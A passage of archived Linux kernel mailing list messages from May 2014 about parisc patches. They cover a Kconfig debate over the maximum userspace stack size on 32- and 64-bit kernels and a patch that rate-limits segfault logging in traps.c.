 arch/parisc/include/uapi/asm/resource.h | 7 -------
 2 files changed, 2 insertions(+), 8 deletions(-)
 delete mode 100644 arch/parisc/include/uapi/asm/resource.h

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] parisc updates for v3.15
Date: Thu, 1 May 2014 15:56:32 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <CA+55aFxez+UggafS3a0dM5SRuziZiZHw_P3ywckC3xu88f6r0g@mail.gmail.com>
References: <20140501183822.GA24823@p100.fritz.box>
	<CA+55aFw+0_Wf+_2EAdi=OhVK3cZdMwsCV5cditaLz7LJroeByA@mail.gmail.com>
	<5362C2C2.9040602@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1398985003 9678 80.91.229.3 (1 May 2014 22:56:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 May 2014 22:56:43 +0000 (UTC)
Cc: Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 02 00:56:37 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Wfzu6-0002YU-Bu
	for glpp-linux-parisc@plane.gmane.org; Fri, 02 May 2014 00:56:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750795AbaEAW4e (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 May 2014 18:56:34 -0400
Original-Received: from mail-vc0-f169.google.com ([209.85.220.169]:51499 "EHLO
	mail-vc0-f169.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750782AbaEAW4d (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 May 2014 18:56:33 -0400
Original-Received: by mail-vc0-f169.google.com with SMTP id im17so4565138vcb.14
        for <multiple recipients>; Thu, 01 May 2014 15:56:32 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=k2ogy0YwzqVT9mR8FvGMjPpkciKktBYPGT7smCSTNHA=;
        b=Tda98GPZb/CGWpp0osWJMgdFCJ379wxWEJZGiiKZG10+hkT9p5rroNH48FqKJjbKBL
         aXn1ttVOiAlNS+zZtKsxTK4KoksjwpmiVuE1D3eia02oCM7pZUVmhgn+cnj7+Nx8UEiZ
         tfiaSBO4Q8/HogDmOPy6oEc0wY/4CvcGEYHYaKlKALvKX5XiA/H36qHaOedGmIXa/g4m
         y7bV1BADXHH0QjdCmNTUMx2DL7+Yfpm4kMYOeomynSlMlbd9EIpwEe+EpFo15nsZipWB
         wjHOWfW1cilWVspqdWtcDjvyOSYHZgoC/DFHCzDtEy+bAmkX1YnvkBTHSL/vOiYoahl1
         GDCw==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linux-foundation.org; s=google;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=k2ogy0YwzqVT9mR8FvGMjPpkciKktBYPGT7smCSTNHA=;
        b=YJqHWe7W8Wh1Aa4Rd2V9S23R9ek9XOMlaBur0CrznmyEncxjobn/juL+JGiTfMc949
         A6hDvii96UVErAcDvo3Y5tvLVzDI/IGNgjlOQobsOAeZ1+9Xp83e0W4V8tw0xbTWLv3O
         x2eUjzvFg65N6a2z+9fjo4WkmTiI3JT6o5xho=
X-Received: by 10.58.123.71 with SMTP id ly7mr10333635veb.11.1398984992566;
 Thu, 01 May 2014 15:56:32 -0700 (PDT)
Original-Received: by 10.220.13.2 with HTTP; Thu, 1 May 2014 15:56:32 -0700 (PDT)
In-Reply-To: <5362C2C2.9040602@gmx.de>
X-Google-Sender-Auth: cm7rMkDpVfp89ofvs-CstvBrho8
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5774 gmane.linux.kernel:1695224
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5774>

On Thu, May 1, 2014 at 2:55 PM, Helge Deller <deller@gmx.de> wrote:
>
> I agree that this idea looks much better.
> I will try to rewrite this code as you suggested (it sadly didn't worked out of the box).
> But since it will take me some time, do you mind to pull in the other two remaining patches?

Done.

        Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Hogan <james.hogan@imgtec.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.metag
Subject: Re: [PATCH] parisc,metag: Do not hardcode maximum userspace stack
 size
Date: Fri, 2 May 2014 12:54:18 +0100
Lines: 79
Approved: news@gmane.org
Message-ID: <5363876A.2030709@imgtec.com>
References: <20140430212602.GA20601@p100.fritz.box>	 <53622DBA.807@imgtec.com> <1398966636.2174.21.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature";
	boundary="77ThmoXPsbbBgfAgwStSbMTxrgArwQHle"
X-Trace: ger.gmane.org 1399031690 20912 80.91.229.3 (2 May 2014 11:54:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 May 2014 11:54:50 +0000 (UTC)
Cc: <linux-kernel@vger.kernel.org>, <linux-parisc@vger.kernel.org>,
	"John David Anglin" <dave.anglin@bell.net>,
	<linux-metag@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri May 02 13:54:43 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1WgC34-0002s2-GK
	for glk-linux-kernel-3@plane.gmane.org; Fri, 02 May 2014 13:54:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752169AbaEBLy3 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 2 May 2014 07:54:29 -0400
Original-Received: from [217.156.133.130] ([217.156.133.130]:15883 "EHLO
	imgpgp01.kl.imgtec.org" rhost-flags-FAIL-FAIL-OK-FAIL)
	by vger.kernel.org with ESMTP id S1751733AbaEBLy1 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 2 May 2014 07:54:27 -0400
Original-Received: from imgpgp01.kl.imgtec.org (imgpgp01.kl.imgtec.org [127.0.0.1])
	by imgpgp01.kl.imgtec.org (PGP Universal) with ESMTP id 628AF41F8E55;
	Fri,  2 May 2014 12:54:26 +0100 (BST)
Original-Received: from mailapp01.imgtec.com ([10.100.180.241])
  by imgpgp01.kl.imgtec.org (PGP Universal service);
  Fri, 02 May 2014 12:54:26 +0100
X-PGP-Universal: processed;
	by imgpgp01.kl.imgtec.org on Fri, 02 May 2014 12:54:26 +0100
Original-Received: from KLMAIL01.kl.imgtec.org (unknown [192.168.5.35])
	by Websense Email Security Gateway with ESMTPS id DC095FBA4B9B3;
	Fri,  2 May 2014 12:54:23 +0100 (IST)
Original-Received: from LEMAIL01.le.imgtec.org (192.168.152.62) by
 KLMAIL01.kl.imgtec.org (192.168.5.35) with Microsoft SMTP Server (TLS) id
 14.3.181.6; Fri, 2 May 2014 12:54:26 +0100
Original-Received: from [192.168.154.101] (192.168.154.101) by LEMAIL01.le.imgtec.org
 (192.168.152.62) with Microsoft SMTP Server (TLS) id 14.3.174.1; Fri, 2 May
 2014 12:54:25 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0
In-Reply-To: <1398966636.2174.21.camel@dabdike>
X-Enigmail-Version: 1.6
X-Originating-IP: [192.168.154.101]
X-ESG-ENCRYPT-TAG: 96d62635
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1695401 gmane.linux.ports.parisc:5775 gmane.linux.kernel.metag:180
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1695401>

--77ThmoXPsbbBgfAgwStSbMTxrgArwQHle
Content-Type: text/plain; charset=ISO-8859-15
Content-Transfer-Encoding: quoted-printable

On 01/05/14 18:50, James Bottomley wrote:
>=20
>> +
>> +config MAX_STACK_SIZE_MB
>> +	int "Maximum user stack size (MB)"
>> +	default 80
>> +	range 8 256 if METAG
>> +	range 8 2048
>> +	depends on STACK_GROWSUP
>> +	help
>> +	  This is the maximum stack size in Megabytes in the VM layout of us=
er
>> +	  processes when the stack grows upwards (currently only on parisc a=
nd
>> +	  metag arch). The stack will be located at the highest memory addre=
ss
>> +	  minus the given value, unless the RLIMIT_STACK hard limit is chang=
ed
>> +	  to a smaller value in which case that is used.
>> +
>> +	  A sane initial value is 80 MB.
>=20
> There's one final issue with this: placement of the stack only really
> matters on 32 bits.  We have three expanding memory areas: stack, heap
> and maps.  On 64 bits these are placed well separated from each other o=
n
> 64 bits, so an artificial limit like this doesn't matter.

Does the following fixup diff look reasonable? It forces
MAX_STACK_SIZE_MB to 1024 and hides the Kconfig option for 64BIT,
effectively leaving the behaviour unchanged in that case.

diff --git a/mm/Kconfig b/mm/Kconfig
index e80075979530..b0307f737bd7 100644
--- a/mm/Kconfig
+++ b/mm/Kconfig
@@ -583,7 +583,8 @@ config GENERIC_EARLY_IOREMAP
 	bool

 config MAX_STACK_SIZE_MB
-	int "Maximum user stack size (MB)"
+	int "Maximum user stack size (MB)" if !64BIT
+	default 1024 if 64BIT
 	default 80
 	range 8 256 if METAG
 	range 8 2048

Thanks
James


--77ThmoXPsbbBgfAgwStSbMTxrgArwQHle
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="signature.asc"

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.22 (GNU/Linux)

iQIcBAEBAgAGBQJTY4dxAAoJEGwLaZPeOHZ6OBAP/j9rG9gFuaN/GZqef1m2Q3DS
qN9UJZl+DelG9LXEfOqnrcAvlBkzUYdfZ08+Hu7vktvmixc2t5wqCpANEo+7GNHo
NWz7zNynsbyp2BKvc4kBBnWd+FP+P2+ls5m/QMqFed1EYKPmnEyH22/pqNhCGeit
zcHix3VXEDtyHiAybVyB9zdk2RDoicoLps+xSH2Vha0ugKGSg3GntqPqvc9itzUn
aYmjRrcLDGHPs6H+2IdzzMGWfmOQTcsjmI9k7OtkqSoYuEl/fB6wUSNhJmZQlhss
MfRpg854RYcz4WV/6PplzNd1KNDoxSfA4hU/+2Ti4zFWpLkxQsVHev4K9HYLawH9
iGtrra4mjJR2iDED/1Ejkfz8HS+UOeSbjJ1ZIULSM3uosq2a7oyUNCExEEqKSIOG
yn8XOuCQL3nsjZkf7TecAuTMLzU9C67zDbYKvnZne3UjFj/6iLV1H3rut7HhZpRF
/glekIPxDeq+7AoJxxlf1ODWcEr07bI5Q/hRLezMsDpBSEpDkcIEyVEuz7G95/J4
1vtqk9vO2SK3siRzxvEm4PyqAVn/QXJar4V3qEaxeItJXJcSFDt+C8csu5vq8iex
LM8OTpZBApSPUowFUWBEJTj5gL0n3SMKxEQYBC9Gs+TEsSp0/RsWXWmOQqX81vYk
AuyFVwDfVHCJnYA0F5uK
=4DF5
-----END PGP SIGNATURE-----

--77ThmoXPsbbBgfAgwStSbMTxrgArwQHle--

From - Thu Nov 08 21:10:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.metag
Subject: Re: [PATCH] parisc,metag: Do not hardcode maximum userspace stack
 size
Date: Fri, 02 May 2014 07:48:36 -0700
Lines: 55
Approved: news@gmane.org
Message-ID: <1399042116.2202.1.camel@dabdike>
References: <20140430212602.GA20601@p100.fritz.box>
		 <53622DBA.807@imgtec.com> <1398966636.2174.21.camel@dabdike>
	 <5363876A.2030709@imgtec.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1399042132 29456 80.91.229.3 (2 May 2014 14:48:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 May 2014 14:48:52 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	John David Anglin <dave.anglin@bell.net>,
	linux-metag@vger.kernel.org
To: James Hogan <james.hogan@imgtec.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 02 16:48:44 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WgElW-0004dr-JT
	for glpp-linux-parisc@plane.gmane.org; Fri, 02 May 2014 16:48:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752148AbaEBOsl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 May 2014 10:48:41 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:53444 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750991AbaEBOsk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 May 2014 10:48:40 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 602FB8EE2BC;
	Fri,  2 May 2014 07:48:40 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id CBohW1rCkPUq; Fri,  2 May 2014 07:48:40 -0700 (PDT)
Original-Received: from [153.66.254.224] (unknown [50.46.152.79])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id BCCA58EE1B4;
	Fri,  2 May 2014 07:48:39 -0700 (PDT)
In-Reply-To: <5363876A.2030709@imgtec.com>
X-Mailer: Evolution 3.12.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5776 gmane.linux.kernel:1695482 gmane.linux.kernel.metag:181
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5776>

On Fri, 2014-05-02 at 12:54 +0100, James Hogan wrote:
> On 01/05/14 18:50, James Bottomley wrote:
> > 
> >> +
> >> +config MAX_STACK_SIZE_MB
> >> +	int "Maximum user stack size (MB)"
> >> +	default 80
> >> +	range 8 256 if METAG
> >> +	range 8 2048
> >> +	depends on STACK_GROWSUP
> >> +	help
> >> +	  This is the maximum stack size in Megabytes in the VM layout of user
> >> +	  processes when the stack grows upwards (currently only on parisc and
> >> +	  metag arch). The stack will be located at the highest memory address
> >> +	  minus the given value, unless the RLIMIT_STACK hard limit is changed
> >> +	  to a smaller value in which case that is used.
> >> +
> >> +	  A sane initial value is 80 MB.
> > 
> > There's one final issue with this: placement of the stack only really
> > matters on 32 bits.  We have three expanding memory areas: stack, heap
> > and maps.  On 64 bits these are placed well separated from each other on
> > 64 bits, so an artificial limit like this doesn't matter.
> 
> Does the following fixup diff look reasonable? It forces
> MAX_STACK_SIZE_MB to 1024 and hides the Kconfig option for 64BIT,
> effectively leaving the behaviour unchanged in that case.
> 
> diff --git a/mm/Kconfig b/mm/Kconfig
> index e80075979530..b0307f737bd7 100644
> --- a/mm/Kconfig
> +++ b/mm/Kconfig
> @@ -583,7 +583,8 @@ config GENERIC_EARLY_IOREMAP
>  	bool
> 
>  config MAX_STACK_SIZE_MB
> -	int "Maximum user stack size (MB)"
> +	int "Maximum user stack size (MB)" if !64BIT
> +	default 1024 if 64BIT
>  	default 80
>  	range 8 256 if METAG
>  	range 8 2048

Yes, I think that's probably correct ... parisc doesn't actually have
anything other than a testbed 64 bit userspace, so this is a bit
theoretical for us.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc,metag: Do not hardcode maximum userspace stack
 size
Date: Sun, 04 May 2014 09:28:05 +0200
Lines: 63
Approved: news@gmane.org
Message-ID: <5365EC05.5080900@gmx.de>
References: <20140430212602.GA20601@p100.fritz.box>		 <53622DBA.807@imgtec.com> <1398966636.2174.21.camel@dabdike>	 <5363876A.2030709@imgtec.com> <1399042116.2202.1.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1399188508 21625 80.91.229.3 (4 May 2014 07:28:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 4 May 2014 07:28:28 +0000 (UTC)
Cc: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	John David Anglin <dave.anglin-CzeTG9NwML0@public.gmane.org>,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: James Bottomley <James.Bottomley-d9PhHud1JfjCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>,
	James Hogan <james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Sun May 04 09:28:20 2014
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1WgqqO-0002La-3D
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Sun, 04 May 2014 09:28:16 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1752675AbaEDH2O (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Sun, 4 May 2014 03:28:14 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:51708 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751258AbaEDH2O (ORCPT <rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Sun, 4 May 2014 03:28:14 -0400
Original-Received: from [192.168.178.60] ([84.173.54.128]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0M4nM5-1X3TVD2iPl-00z0jw; Sun, 04 May 2014 09:28:06
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0
In-Reply-To: <1399042116.2202.1.camel@dabdike>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:/NZyqSbuDp45CDoXvPfbOxjAsvRzBAoqtaDmH02rqsI75bNaj7P
 NgIQZi5kNcJj1qWEHaE53R301q45KuCeiu/YLgNQsmNIp6r/QWiGVOHCadmq3mPHl34rixP
 8YdEOXmaRvxGPS4vDUax67QESK0wpiX0wW+yBs1rbckG0OfwTI2VomUQUX7brBEw4cmF9j0
 nGd0QDW7/RXVuXFL3YbuQ==
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:182 gmane.linux.kernel:1696073 gmane.linux.ports.parisc:5779
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/182>

On 05/02/2014 04:48 PM, James Bottomley wrote:
> On Fri, 2014-05-02 at 12:54 +0100, James Hogan wrote:
>> On 01/05/14 18:50, James Bottomley wrote:
>>>
>>>> +
>>>> +config MAX_STACK_SIZE_MB
>>>> +	int "Maximum user stack size (MB)"
>>>> +	default 80
>>>> +	range 8 256 if METAG
>>>> +	range 8 2048
>>>> +	depends on STACK_GROWSUP
>>>> +	help
>>>> +	  This is the maximum stack size in Megabytes in the VM layout of user
>>>> +	  processes when the stack grows upwards (currently only on parisc and
>>>> +	  metag arch). The stack will be located at the highest memory address
>>>> +	  minus the given value, unless the RLIMIT_STACK hard limit is changed
>>>> +	  to a smaller value in which case that is used.
>>>> +
>>>> +	  A sane initial value is 80 MB.
>>>
>>> There's one final issue with this: placement of the stack only really
>>> matters on 32 bits.  We have three expanding memory areas: stack, heap
>>> and maps.  On 64 bits these are placed well separated from each other on
>>> 64 bits, so an artificial limit like this doesn't matter.
>>
>> Does the following fixup diff look reasonable? It forces
>> MAX_STACK_SIZE_MB to 1024 and hides the Kconfig option for 64BIT,
>> effectively leaving the behaviour unchanged in that case.
>>
>> diff --git a/mm/Kconfig b/mm/Kconfig
>> index e80075979530..b0307f737bd7 100644
>> --- a/mm/Kconfig
>> +++ b/mm/Kconfig
>> @@ -583,7 +583,8 @@ config GENERIC_EARLY_IOREMAP
>>  	bool
>>
>>  config MAX_STACK_SIZE_MB
>> -	int "Maximum user stack size (MB)"
>> +	int "Maximum user stack size (MB)" if !64BIT
>> +	default 1024 if 64BIT
>>  	default 80
>>  	range 8 256 if METAG
>>  	range 8 2048
> 
> Yes, I think that's probably correct ... 

No, it's not correct.
It will then choose then a 1GB stack for compat tasks on 64bit kernel.

Helge

> parisc doesn't actually have
> anything other than a testbed 64 bit userspace, so this is a bit
> theoretical for us.




--
To unsubscribe from this list: send the line "unsubscribe linux-metag" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: ratelimit userspace segfault printing
Date: Mon, 5 May 2014 18:07:12 +0200
Lines: 209
Approved: news@gmane.org
Message-ID: <20140505160712.GA2580@ls3530.fritz.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1399394595 11726 80.91.229.3 (6 May 2014 16:43:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 May 2014 16:43:15 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 06 18:43:08 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Whi4W-0006KZ-WE
	for glpp-linux-parisc@plane.gmane.org; Tue, 06 May 2014 18:18:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753359AbaEEQHR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 5 May 2014 12:07:17 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:49856 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752214AbaEEQHQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 5 May 2014 12:07:16 -0400
Original-Received: from ls3530.fritz.box ([84.173.59.132]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0MWhRH-1WMk9p1MTb-00Xs8z; Mon, 05 May 2014 18:07:14
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:Vh6abDyq0x4QCT/5+DrqRWv9gCwG/2qg74/6qzEOmrPY7mCpxym
 xI1prrVqfjWLZg3diO8xjZM2TQfeFYYGkmHEChwYg8j5MWmeqKpOBwEiERamDuCn7sIxLrE
 gLMDNDgywScDROdxKhkrcq6ZNGH8C+8BudxSmmE4cF29Ig0YxetOxEvZypPHSHI4Idw4qv7
 B6/mpeJZXktpyzWJJL9yA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5780
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5780>

Ratelimit printing of userspace segfaults and make it runtime
configurable via the /proc/sys/debug/exception-trace variable. This
should resolve syslog from growing way too fast.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 1faefed..108d48e 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -22,6 +22,7 @@ config PARISC
 	select GENERIC_SMP_IDLE_THREAD
 	select GENERIC_STRNCPY_FROM_USER
 	select SYSCTL_ARCH_UNALIGN_ALLOW
+	select SYSCTL_EXCEPTION_TRACE
 	select HAVE_MOD_ARCH_SPECIFIC
 	select VIRT_TO_BUS
 	select MODULES_USE_ELF_RELA
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 1cd1d0c..47ee620 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -25,6 +25,7 @@
 #include <linux/interrupt.h>
 #include <linux/console.h>
 #include <linux/bug.h>
+#include <linux/ratelimit.h>
 
 #include <asm/assembly.h>
 #include <asm/uaccess.h>
@@ -42,9 +43,6 @@
 
 #include "../math-emu/math-emu.h"	/* for handle_fpe() */
 
-#define PRINT_USER_FAULTS /* (turn this on if you want user faults to be */
-			  /*  dumped to the console via printk)          */
-
 #if defined(CONFIG_SMP) || defined(CONFIG_DEBUG_SPINLOCK)
 DEFINE_SPINLOCK(pa_dbit_lock);
 #endif
@@ -160,6 +158,17 @@ void show_regs(struct pt_regs *regs)
 	}
 }
 
+static DEFINE_RATELIMIT_STATE(_hppa_rs,
+	DEFAULT_RATELIMIT_INTERVAL, DEFAULT_RATELIMIT_BURST);
+
+#define parisc_printk_ratelimited(critical, regs, fmt, ...)	{	      \
+	if ((critical || show_unhandled_signals) && __ratelimit(&_hppa_rs)) { \
+		printk(fmt, ##__VA_ARGS__);				      \
+		show_regs(regs);					      \
+	}								      \
+}
+
+
 static void do_show_stack(struct unwind_frame_info *info)
 {
 	int i = 1;
@@ -229,12 +238,10 @@ void die_if_kernel(char *str, struct pt_regs *regs, long err)
 		if (err == 0)
 			return; /* STFU */
 
-		printk(KERN_CRIT "%s (pid %d): %s (code %ld) at " RFMT "\n",
+		parisc_printk_ratelimited(1, regs,
+			KERN_CRIT "%s (pid %d): %s (code %ld) at " RFMT "\n",
 			current->comm, task_pid_nr(current), str, err, regs->iaoq[0]);
